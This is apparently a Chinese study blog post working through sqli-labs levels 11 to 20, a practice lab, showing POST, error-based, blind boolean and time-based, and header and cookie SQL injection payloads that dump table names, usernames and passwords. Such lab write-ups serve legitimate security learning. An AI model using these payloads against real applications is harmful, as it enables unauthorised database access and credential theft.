sql-labs 闯关 11~20

发布于:2023-01-09 ⋅ 阅读:(591) ⋅ 点赞:(0)

sql-labs 闯关 11~20

友善爱国公正敬业爱国爱国诚信自由友善爱国公正诚信民主和谐敬业平等

复习笔记1


内容:

  1. POST请求介绍
  2. sql-labs第11关(POST请求-基于错误-单引号-字符型)
  3. sql-labs第12关(POST请求-基于错误-双引号-变形字符型)
  4. sql-labs第13关(POST请求-双注入-单引号变形字符型)
  5. sql-labs第14关(POST请求-双注入-单引号变形字符型)
  6. sql-labs第15关(POST请求-基于布尔/时间-单引号盲注)
  7. sql-labs第16关(POST请求-基于布尔/时间-双引号盲注)
  8. sql-labs第17关(POST请求-更新查询-基于错误-字符型)
  9. sql-labs第18关(POST请求-头部注入-Uagent field-基于错误)
  10. sql-labs第19关(POST请求-头部注入-Referer field-基于错误)
  11. sql-labs第20关(POST请求-cookie注入-Uagent field-基于错误)

1.POST请求介绍

GET 提交参数一般显示在 URL 上而POST 通过表单提交不会显示在 URL 上所以POST 更具隐蔽性。所以从第11关开始,就要通过表单来提交,利用burp抓包解析

HTTP 方法:GET 对比 POST
GET 和 POST 到底有什么区别?


2.sql-labs第11关

2.1.1
这关有两个明显的输入框,猜测这是用户输入的地方,习惯性的在url输入?id=1试了试,果然没看到页面有任何响应
2.1.2
在输入框里随便输入了1后,输入蓝框下出现"LOGIN ATTEMPT FAILED",我英语差,用英语在线翻译,这句话的意思是"登录尝试失败"。(值提交之后,文本框会清空,为了显示方便,我会将输入值再次填回文本框)
2.1.3
如上图所示,这两个输入框的闭合点是'
2.1.4
虽然知道了闭合点,但是从结果来看,还是没有闭合成功,可能是注释符问题,尝试用(--'--#)进行注释
2.1.5
没出现报错信息,也许这个注释符可以成功闭合,再看看输入1' order by 5--'有没有报错信息
2.1.6
还是没有任何提示,那看来--'也没用,那试试常用的#,输入1' order by 5#
2.1.7
成功,并且还知道列数<5,按照前面的经验,列数是3
2.1.8
emmm,3列也多了,试试2
2.1.9
没报错,可能是2,用union注入查看显示位,判断是否是2,输入1' union select 1,2#
2.1.10
都看到显示位了,那接下来的流程我熟了
2.2.1
输入1' union select database(),version()#爆库

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

2.3.1
爆表

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

2.4.1
爆字段

1' union select group_concat(username),group_concat(password) from users#

2.5.1
爆数据
前面十关用--+注释习惯了之后,这关不能用就有抓瞎的感觉,幸好我前面拜读过大佬关于注释的文章,知道几个注释符


3.sql-labs第12关

3.1.1
从报错信息来看,闭合点是")
3.1.2
上关就知道了,列数只有2,那输入1") union select 1,2#查看显示位,顺便看看是否闭合成功
熟悉的环节又来了

1") union select database(),version()#

3.2.1
爆库

1") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

3.3.1
爆表

1") union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

3.4.1
爆字段

1") union select group_concat(username),group_concat(password) from users#

3.5.1
爆数据


4.sql-labs第13关

4.1.1
闭合点是')
4.1.2
虽然知道了闭合点,但是这题没有回显位,尝试用报错注入

1')  and updatexml(1,concat(0x7e,(database()),0x7e),1) #

4.2.1
运气不错,成功爆库

1')  and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) #

4.3.1
爆表

1')  and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) #

4.4.1
爆字段

1')  and updatexml(1,concat(0x7e,(select group_concat(username)from users),0x7e),1) #

4.5.1
爆数据

问题

用extractvalue和updatexml都成功报错,但是用floor就不能显示信息,还没找到原因

1')and (select count(*) from information_schema.tables group by concat(floor(rand(14)*2),0x7e,(database())))#

4.6.1


5.sql-labs第14关

5.1.1
闭合点是"
5.1.2
输入1" union select 1,2#发现,跟上题一样,没有回显位,又要开始快乐的报错注入了,上题用updatexml报错,那么这题用extractvalue报错,floor依然不行

1" and extractvalue(1,concat(0x23,database())) #

5.2.1
爆库

1" and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) #

5.3.1
爆表

1" and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) #

5.4.1
爆字段

1" and extractvalue(1,concat(0x23,(select group_concat(username) from users))) #

5.5.1
爆数据


6.sql-labs第15关

6.1.1
快乐没有了,不能直接看闭合点了,既然这样的话,只能用布尔或者时间注入了,鉴于不管输入1 #1' #还是1" #页面都是显示登录失败,那我用or来判断,输入1 or 1=1#1' or 1=1#1" or 1=1#判断闭合点,如果这些都不是,那再试试加上)
6.1.2
6.1.3
6.1.4
先试单引号判断法,页面显示登录成功,秉持严谨做题的态度,又试了试双引号判断法,页面显示登录失败,那我可以百分百确定,闭合点就是’,接下来通过登录是否成功来判断了,我只试一步,具体的去看上一篇友情链接第八关,我是吃不消再来一次了

1' or length(database())>5#

6.1.5
页面显示登录成功了,数据库长度>5

1' or substr(database(),1,1)>'m'#

6.3.1
数据库第一个字母在(m,z]间

1' or (select count(table_name) from information_schema.tables where table_schema=database())>5#

6.4.1
恭喜你,这说明数据表数量<=5,工作量稍微小了那么一点

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

6.5.1
坏消息!第一张数据表长度>5

1' or mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m'#

6.6.1
第一张数据表的第一个字母在[a,m]间,这个过程缓慢而持久

1' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5#

6.7.1
恭喜,要爆的字段数<5

1' or length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5#

6.8.1
判断第一个字段的长度

1' or mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m'#

6.9.1
判断第一个字段的第一个字母

1' or (select count(username) from users)>5#

6.10.1
判断username有多少条记录

1' or length((select username from users limit 0,1))>5#

6.11.1
判断username第一条记录长度

1' or mid((select username from users limit 0,1),1,1)>'m'#

6.12.1
判断username第一条记录第一个字母


7.sql-labs第16关

7.1.1
又是只能用布尔或者时间注入,这关用时间注入
7.1.2
7.1.3
7.1.4
7.1.5

dumb") and sleep(5)#

7.1.6

1") or if(length(database())>5,sleep(5),1)#

7.2.1
7.2.2
判断数据库长度

1") or if(mid(database(),1,1)>'m',sleep(5),1)#

7.3.1
判断数据库第一个字母

1") or if((select count(table_name) from information_schema.tables where table_schema=database() )>5,sleep(5),1)#

7.4.1
判断数据表的张数

1") or if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5,sleep(5),1)#

7.5.1
判断第一张数据表长度

1") or if(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(5),1)#

7.6.1
判断第一张数据表的第一个字母

1") or if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5,sleep(5),1)#

7.7.1
判断字段的个数

1") or if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5,sleep(5),1)#

7.8.1
判断第一个字段长度

1") or if(mid((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1)>'m',sleep(5),1)#

7.9.1
判断第一个字段第一个字母

1") or if((select count(username) from users)>5,sleep(5),1)#

7.10.1
判断username记录数是否>5

1' or if(mid((select username from users limit 0,1),1,1)>'m',sleep(5),1)#

7.11.1
判断username第一条记录的第一个字母


8.sql-labs第17关

界面跟以往不同了,密码那个文本框变成了new password,上面的黄色的改密码也透露着神秘
8.1.1
照着老样子,没有以往的报错信息,也没有盲注的可能,推断 user name进⾏了过滤,不过感觉突破口在第二个文本框
8.1.2
但是还是不行,user name 那里没有new,有个大胆的想法,有没有可能是必须输入正确的账号,密码随便改
8.1.3
很好,出现了报错信息,看着这个闭合点也许是’,用报错注入试试

1' and updatexml(1,concat(0x23,database()),1)#

8.2.1
成功爆数据库,那接下来我熟,不熟的去可以去上一篇看三种报错注入的详细步骤

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

8.3.1
爆数据表

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)#

8.4.1
爆字段

1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#

8.5.1
页面没有出现想要的账号,而是’You can’t specify target table ‘users’ for update in FROM clause’,翻译软件翻译出来的意思是’不能在FROM子句中为更新指定目标表“用户”',我还从没遇到过这问题,通过百度后,找到了解决办法

解决办法:
MySQL报错:You can’t specify target table ‘user’ for update in FROM clause
MySQL出现You can‘t specify target table for update in FROM clause错误的解决方法

1' and updatexml(1,concat(0x7e,(select user_name from (select group_concat(username) as user_name from users) as a),0x7e),1)#

8.5.2
成功爆数据


9.sql-labs第18关

页面又换了,下面的黄色Your IP ADDRESS is: 192.168.1.70似乎在暗示着这是个突破口,不知道具体是哪里的参数,就抓包看看,有哪些变量是这个IP地址
9.1.1
随便输入提交,抓包之后,发现有3个地方出现了ip地址,将这三个地址改成不同的ip再提交,发现页面显示的ip地址还是这个,没有任何改变。那这么看来,这不是可注入的关键,靠着自己想不出来,就去百度。知道了注入点在请求包的User-Agent ( 简称UA,向访问网站提供所使用的浏览器类型、操作系统、版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识),而且还要在输入正确的用户名密码的前提下,才可以注入。

SQL-Lab 18~22
开始挑战第十八关(Header Injection - Uagent field - Error based)
sqli-labs第十八和十九关(请求头注入)
sqli-labs18、19关详解
sqli-labs解题大法18~20

9.1.2
但是不知道为什么,我输入了正确的账户名和密码,页面显示登录失败,我又输入了admin和admin,但是登录失败,找了很多资料都没找到原因,没有人遇到过这个问题,我又开始怀疑,是不是源代码写错了,但是通过仔细查看还是没发现问题,又找了一些通关文章,看看能不能找到出错原因,偶然看到有大佬提出,登录不上去也有可能是密码都被改了,抱着试试的心态登录后台查看账号和密码。我的密码都改成了1,做17关时,没想到会改的这么彻底,又因为我懒,就没有爆密码,没有第一时间发现,给自己增加难度
9.1.3
9.1.4
将密码都改回来之后,再输入正确的账号密码,查看页面,终于,跟教程一样了,泪目
9.1.5
用burp在User Agent后面加了一个单引号,再运行,出现了报错信息
9.1.6
根据报错信息,输入1',1,1)#看看能不能闭合,结果成功绕过,那又开始了朴实无华的报错注入

1',1,extractvalue(1,concat(0x7e,database(),0x7e)))#

9.2.1

1' or extractvalue(1,concat(0x7e,database(),0x7e)),1,1)#

9.2.2
爆库

1',1,extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x23)))#

9.3.1
爆表

1',1,extractvalue(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5e)))#

9.4.1
爆字段

1',1,extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))#

9.5.1

1',1,extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e)))#

9.5.2
爆数据


10.sql-labs第19关

看欢迎界面,应该跟18关一个类型
10.1.1
输入正确的用户名和密码,查看页面。这次显示的是Referer值,那么我只要修改Referer即可
10.1.2
按照上关的套路,输入1',1)#,应该就可以绕过了
10.1.3
那接下来又开始快乐的报错注入了

1',updatexml(1,concat(0x7e,database(),0x7e),1))#

10.2.1
爆库

1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

10.3.1
爆表

1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1))#

10.4.1
爆字段

1',updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1))#

10.5.1
爆数据


11.sql-labs第20关

欢迎界面又变了,不过老样子,输入正确的账号密码,看反馈
11.1.1
这个反馈我第一次见,不仅有USER AGENT、IP还有cookie,DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE(删除您的COOKIE或等待其过期),似乎这关跟cookie有关联
11.1.2
11.1.3

再次提交抓包查看,会有两个包被抓到,第一个是用户提交的数据包,里面没有cookie,第二个是将用户名添加到cookie的数据包,尝试在第二个数据包对cookie进行修改
11.1.4
发现出现了报错信息,闭合点大概就是’
11.1.5

' and extractvalue(1,concat(0x7e,database(),0x7e)) #

11.2.1
爆库

' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

11.3.1
爆表

' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) #

11.4.1
爆字段

' and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)) #

11.5.1
爆数据

小技巧

get请求的时候,注释符用--+;而post请求时用#


网站公告

今日签到

点亮在社区的每一天
去签到